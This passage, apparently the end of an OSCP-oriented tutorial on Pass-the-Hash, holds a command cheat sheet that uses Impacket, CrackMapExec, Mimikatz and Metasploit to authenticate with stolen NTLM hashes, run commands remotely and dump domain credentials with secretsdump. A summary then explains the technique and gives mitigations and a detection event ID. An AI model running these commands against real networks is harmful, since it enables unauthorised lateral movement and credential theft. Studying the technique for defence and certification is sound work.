wmiexec.py   -hashes :NTLM_HASH DOMAIN/user@target
smbexec.py   -hashes :NTLM_HASH DOMAIN/user@target
samrdump.py  -hashes :NTLM_HASH DOMAIN@target
services.py  -hashes :NTLM_HASH DOMAIN/user@target -action list
secretsdump.py -hashes :NTLM_HASH DOMAIN/user@target -just-dc

# --- CrackMapExec ---
crackmapexec smb target -u user -H NTLM_HASH -d DOMAIN
crackmapexec smb target -u user -H NTLM_HASH -x "whoami"
crackmapexec smb target -u user -H NTLM_HASH -X

# --- Mimikatz ---
privilege::debug
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NTLM_HASH /run:cmd.exe

# --- Metasploit ---
use exploit/windows/smb/psexec
set SMBPASS NTLM_HASH
set SMBUSER user
set SMBDomain DOMAIN
set RHOSTS target
exploit

7. Summary

Pass-the-Hash is a foundational Active Directory attack technique that exploits the design of NTLM authentication. Because NTLM uses a challenge-response protocol that operates on the hash rather than the plaintext password, possessing the NTLM hash is functionally equivalent to possessing the password itself — for remote authentication purposes.

Key takeaways:

  1. NTLM challenge-response means the hash is the credential. No cracking needed.
  2. PtH works for remote authentication only. Local logon requires plaintext.
  3. Impacket tools (psexec.py, wmiexec.py, smbexec.py) are the primary PtH tools with the -hashes flag.
  4. CrackMapExec is essential for multi-host PtH enumeration and exploitation.
  5. Mimikatz sekurlsa::pth injects credentials into the current Windows process.
  6. Credential Guard and LSA Protection prevent hash acquisition, breaking the PtH chain.
  7. Monitor Event ID 4624 Logon Type 3 with NTLM authentication for detection.
  8. PtT (Pass-the-Ticket) is the Kerberos equivalent — more versatile but requires domain infrastructure.

Mastering PtH is essential for OSCP because it bridges the gap between initial compromise and domain-wide lateral movement. Every Active Directory engagement will encounter scenarios where PtH is the fastest path to domain dominance.